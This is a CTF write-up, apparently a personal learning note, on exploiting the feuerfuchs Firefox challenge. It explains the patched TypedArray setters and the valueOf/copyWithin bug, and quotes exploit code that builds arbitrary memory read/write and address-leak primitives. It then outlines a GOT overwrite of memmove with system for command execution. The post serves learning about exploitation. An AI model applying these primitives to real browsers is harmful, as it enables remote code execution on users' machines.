So I’ve been playing with the browser exploitation recently, by studying some browser CTF challenges. So far I’ve tried qwn2own, SGX_Browser and feuerfuchs.
qwn2own and SGX_Browser are both great for getting started with the brower exploitation. However, they are not “real world” enough, since both of them are small, simple QT-based browser with custom Javascript extensions. To learn the real world browser exploitation, it’s better to start with feuerfuchs, a Firefox-based browser pwnable challenge created by saelo for the 2016 33C3 CTF.
This write-up is more like a “learning note” stuff. Here I’ll write down my learning process, including how to debug the SpiderMonkey Javascript engine, how the vulnerability works, how to exploit the vulnerability, …. etc.
Pre-knowledge
Before we start, it is recommanded that the reader read this amazing phrack paper ( also authored by saelo ) and have some basic knowledge of the Javascript engine exploitation technique, especially the “Exploiting with valueOf” part, cause we’ll be using that later.
TL;DR:
The rules governing the conversion from object types to numbers (and primitive types in general) are especially interesting. In particular, if the object has a callable property named “valueOf”, this method will be called and the return value used if it is a primitive value.
For instance, variable hax
has the following valueOf
property:
1
var hax = { valueOf: function() { console.log('hello'); return 0; } };
When the Javscript engine tries to convert hax
into an integer, it will first print out the message “hello” to the console, then return 0
as the integer value of hax
:
So If we replace console.log("hello")
with some malicious code ( e.g. modify an array’s length ), something bad might happen. This concept will be applied to the exploit of the challenge later.
Environment Setting
- Ubuntu Linux 16.04 64 bit
- Firefox 50.1
I’m also using gef to debug the SpiderMonkey Javascript engine.
Building and Debugging the SpiderMonkey Javascript Engine
Since the challenge is to exploit the Javascript engine, we don’t have to debug the entire Firefox browser ( that, my friend, will be a huge pain in the ass ). Instead we’ll just build a JS shell and use it to run the exploit.
According to this link, we can build the JS shell ( with patch ) by using the following commands ( remember to copy the patch file into the directory first ):
1
2
3
4
5
6
7
8
9
cd firefox-50.1.0/
patch -p1 < ./feuerfuchs.patch
cd js/src/
cp configure.in configure && autoconf2.13
mkdir build_DBG.OBJ
cd build_DBG.OBJ
../configure --enable-debug --disable-optimize
make # or make -j8
cd ..
After that, we can just use
1
gef --args build_DBG.OBJ/dist/bin/js pwn.js
to debug the Javascript engine and learn how the exploit works.
Now we’re all ready, let’s get started !
Analyzing the Vulnerability ( the patch )
Let’s start with the patch first:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
........................
... ( other patch ).....
........................
/* static */ const JSPropertySpec
TypedArrayObject::protoAccessors[] = {
- JS_PSG("length", TypedArray_lengthGetter, 0),
JS_PSG("buffer", TypedArray_bufferGetter, 0),
+ JS_PSGS("length", TypedArray_lengthGetter, TypedArray_lengthSetter, 0),
JS_PSG("byteLength", TypedArray_byteLengthGetter, 0),
+ JS_PSGS("offset", TypedArray_offsetGetter, TypedArray_offsetSetter, 0),
JS_PSG("byteOffset", TypedArray_byteOffsetGetter, 0),
JS_PS_END
};
........................
... ( other patch ).....
........................
We can see that the patch add setter
to both offset
and length
property in the TypedArray
class, which allow us to set the offset
( starting point of the data buffer ) and the length
of a TypedArray
. However the patch has also handled the boundary check for offset
and length
as well, so we can’t do something like tarray.offset=10000
and use out-of-boundary (OOB) read/write to exploit the service. We’ll have to find another way to exploit the vulnerability.
Analyzing the Exploit
We now start analyzing the exploit code that saelo wrote for this challenge. The exploit function start at line 233:
1
2
3
4
5
6
7
8
9
10
11
12
function pwn() {
// Allocate multiple ArrayBuffers of the largest size such that the data is still stored inline
var buffers = [];
for (var i = 0; i < 100; i++) {
buffers.push(new ArrayBuffer(96));
}
var view = new Uint8Array(buffers[79]); // view is our TypedArray
var hax = { valueOf: function() { view.offset = 88; return 0; } };
// Trigger the bug first time to leak the data pointer of the following ArrayBuffer
view.copyWithin(hax, 32+8, 40+8);
To understand why the bug is triggered, we’ll have to dig into the source code of copyWithin:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
function TypedArrayCopyWithin(target, start, end = undefined) {
// target = 0 ( = hax);
// start = 40;
// end = 48;
.....................
var obj = this;
var len = TypedArrayLength(obj); // len = 96
assert(0 <= len && len <= 0x7FFFFFFF,
"assumed by some of the math below, see also the other assertions");
// the following line trigger the "valueOf" function
// this make the view's offset = 88 and length = 8
// however, "len" variable is still 96
var relativeTarget = ToInteger(target); // trigger valueOf
/* to = 0 */
var to = relativeTarget < 0 ? std_Math_max(len + relativeTarget, 0)
: std_Math_min(relativeTarget, len);
var relativeStart = ToInteger(start);
/* from = 40 */
var from = relativeStart < 0 ? std_Math_max(len + relativeStart, 0)
: std_Math_min(relativeStart, len);
var relativeEnd = end === undefined ? len
: ToInteger(end);
/* final = 48 */
var final = relativeEnd < 0 ? std_Math_max(len + relativeEnd, 0)
: std_Math_min(relativeEnd, len);
/* count = 8 */
var count = std_Math_min(final - from, len - to);
....................................
if (count > 0)
MoveTypedArrayElements(obj, to | 0, from | 0, count | 0); // call memmove inside
Let’s sum up some important part of this function:
- It first read the
view
’s length and stored the value in thelen
variable. Later it will use this variable to perform some boundary check. - However, at line 15 the
ToInteger(target)
will trigger thevalueOf
function in variablehax
, makingview
’soffset
become88
,length
become8
. - But the code still use
len
variable ( which in this case =96
) to perform the boundary check, making us able to bypass the checks and eventually callingMoveTypedArrayElements(obj, to | 0, from | 0, count | 0);
Inside the MoveTypedArrayElements
will call memmove(dest, src, count)
, which in this case:
src
will beview's data pointer + 88 + 40
dest
will beview's data pointer + 88
count
will be8
Let’s see what data will be copied to dest
:
Here dest
= 0x7ffff7ebc558
and src
= 0x7ffff7ebc580
, we can see the value 0x3ffffbf5e2d0
will be copied to dest
. According to saelo’s comment in the exploit:
1
2
3
4
// First qword in adjusted view now contains the data pointer (which is stored as a Private, thus needs to be shifted)
var ptr = LShift1(new Int64(view));
// ptr will point to inline data so we can calculate the address of the preceeding ArrayBuffer
var addressOfInnerArrayBuffer = Sub(ptr, 8*8 + 8*8 + 8*12);
So 0x3ffffbf5e2d0
is actually a data pointer of an ArrayBuffer in its “Private” form. If we left shift the value 1 bit, it will become 0x7ffff7ebc5a0
, which is the data pointer of buffers[80]
.
I’ve traced the source code of SpiderMonkey and couldn’t find the definition of the “Private form”, so I still don’t know why you need to left shift the value 1 bit to get the correct address of the data pointer. I would really appreciate it if someone can tell me where the definition is.
So what view.copyWithin(hax, 32+8, 40+8);
does is copy the next ArrayBuffer’s ( buffers[80]
) data pointer into TypedArray view
.
Later it stores the data pointer into ptr
, and minus 224
to get the addressOfInnerArrayBuffer
, which in this case is 0x7ffff7ebc4c0
:
1
2
3
4
5
6
7
8
9
10
11
12
gef➤ tel 0x7ffff7ebc4c0
0x00007ffff7ebc4c0│+0x00: 0x00007ffff7eb90d0 <-- group_
0x00007ffff7ebc4c8│+0x08: 0x00007ffff7eb73d0 <-- shape_
0x00007ffff7ebc4d0│+0x10: 0x0000000000000000 <-- slots_
0x00007ffff7ebc4d8│+0x18: 0x00000000013c7b70 <-- elements_
0x00007ffff7ebc4e0│+0x20: 0x00003ffffbf5e280 <-- data pointer
0x00007ffff7ebc4e8│+0x28: 0xfff8800000000060 <-- length
0x00007ffff7ebc4f0│+0x30: 0xfffe7ffff4601e60 <-- JSObject ( point to Uint8Array )
0x00007ffff7ebc4f8│+0x38: 0xfff8800000000000 <-- offet
0x00007ffff7ebc500│+0x40: 0x0000000000000000 <-- start point of a data pointer
0x00007ffff7ebc508│+0x48: 0x0000000000000000
We can see that 0x7ffff7ebc4c0
is “the address of buffers[79]
”. If we left shift the data pointer 0x3ffffbf5e280
, we’ll get 0x7ffff7ebc500
– the data pointer of buffers[79]
.
Let’s see what does the exploit do next:
1
2
3
4
// Trigger the bug a second time to write the modified data pointer
view.set(RShift1(addressOfInnerArrayBuffer).bytes());
view.offset = 0;
view.copyWithin(32+8, hax, 8);
It triggers the bug second time, and modified buffers[80]
’s data pointer into addressOfInnerArrayBuffer
. This make us able to modified buffers[79]
’s structure by editing buffers[80]
, and thus we’ll have an arbitrary read/write primitive !
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// |outer| is a byte view onto the corrupted ArrayBuffer which now allows us to arbitrarily modify the ArrayBuffer |inner|
var inner = buffers[79];
var outer = new Uint8Array(buffer); // here buffer = buffers[80]
// Increase the size of the inner ArrayBuffer
outer[43] = 0x1;
// Object to access the process' memory
var memory = {
write: function(addr, data) {
// Set data pointer of |inner|
outer.set(RShift1(addr).bytes(), 32);
// Uint8Array's cache the data pointer of the underlying ArrayBuffer
var innerView = new Uint8Array(inner);
innerView.set(data);
},
read: function(addr, length) {
// Set data pointer of |inner|
outer.set(RShift1(addr).bytes(), 32);
// Uint8Array's cache the data pointer of the underlying ArrayBuffer
var innerView = new Uint8Array(inner);
return innerView.slice(0, length);
},
readPointer: function(addr) {
return new Int64(this.read(addr, 8));
},
addrof: function(obj) {
// To leak the address of |obj|, we set it as property of the |inner|
// ArrayBuffer, then leak that using the existing read() method.
inner.leakMe = obj;
var addressOfSlotsArray = this.readPointer(Add(addressOfInnerArrayBuffer, 2*8));
return Int64.fromJSValue(this.read(addressOfSlotsArray, 8));
},
};
memory
object handles all of the memory read/write operation. For arbitrary read/write, it will first use the outer
object to modify pointer in the inner
object, then use inner
object to read/write data.
Note that addrof
function is for leaking an object’s address ( like &
in the C language ). Here it uses a very clever method: By exploiting the slots_
member.
The slots_
member is used for storing the info of an object’s properties. Before storing the leakMe
property, there’s nothing in inner
’s slots_
member:
1
2
3
4
5
6
gef➤ tel 0x7ffff7ebc4c0
0x00007ffff7ebc4c0│+0x00: 0x00007ffff7eb90d0 <-- group_
0x00007ffff7ebc4c8│+0x08: 0x00007ffff7eb73d0 <-- shape_
0x00007ffff7ebc4d0│+0x10: 0x0000000000000000 <-- slots_ ( empty )
0x00007ffff7ebc4d8│+0x18: 0x00000000013c7b70 <-- elements_
.........
After storing the leakMe
property, the slots_
member become an address which points to the object’s address:
1
2
3
4
5
6
gef➤ tel 0x7ffff7ebc4c0
0x00007ffff7ebc4c0│+0x00: 0x00007ffff7eb90d0 <-- group_
0x00007ffff7ebc4c8│+0x08: 0x00007ffff7eb73d0 <-- shape_
0x00007ffff7ebc4d0│+0x10: 0x00007ffff69af940 → 0xfffe7ffff7eac700
0x00007ffff7ebc4d8│+0x18: 0x00000000013c7b70 <-- elements_
................
Here in this case, the exploit leak the address of the Math.max
function object, so here 0x7ffff7eac700
points to the Math.max
function object:
The rest of the exploit can be summed up as the following steps:
- First leak the function address of
Math.max
( which lies inlibxul.so
), and calculate the base address oflibxul.so
. - Leak
memmove
andsscanf
’s GOT inlibxul.so
, and calculatesystem
’s address. - Create a TypedArray
target
and write the command we want to execute into that TypedArray. - Overwrite
memmove
’s GOT inlibxul.so
tosystem
’s address. - Call
target.copyWithin(0, 1);
. This will eventually callmemmove("our_command")
, which will now besystem("our_command")
, making us able to achieve RCE.
Summarize
With the ability to set the offset
and length
property of a TypedArray
, we exploit the valueOf
and copyWithin
functions, so when the Javascript engine tries to convert an object into an integer, it will modify the offset
property and achieve OOB access during the memmove
operation.
We then leak & calculate the “address of buffers[79]
”, and overwrite buffers[80]
’s data pointer with its value, so we can have an arbitrary read/write primitive.
After that we leak the function and GOT’s address, overwrite memmove
’s GOT in libxul.so
with system
’s address, then call copyWithin
to trigger memmove
and execute our own command.
Epilogue
To me browser exploitation is a whole new area. I spent almost a month to study the whole stuff, and I certainly still have a lot more to learn.
For my next browser CTF challenge I would like to try Chakrazy, a challenge based on Microsoft’s Chakra Javascript engine. Hope I’ll be able to solve it and post another write-up :) .
Reference
- feuerfuchs challenge on github
- Attacking JavaScript Engines: A case study of JavaScriptCore and CVE-2016-4622
- SpiderMonkey hacking tips
- JavaScript:New to SpiderMonkey
- SpiderMonkey source code: TypedArray.js
- SpiderMonkey source code: SelfHosting.cpp
- SpiderMonkey source code: Value.h
- TypedArray on MDN
- copyWithin on MDN
Comments powered by Disqus.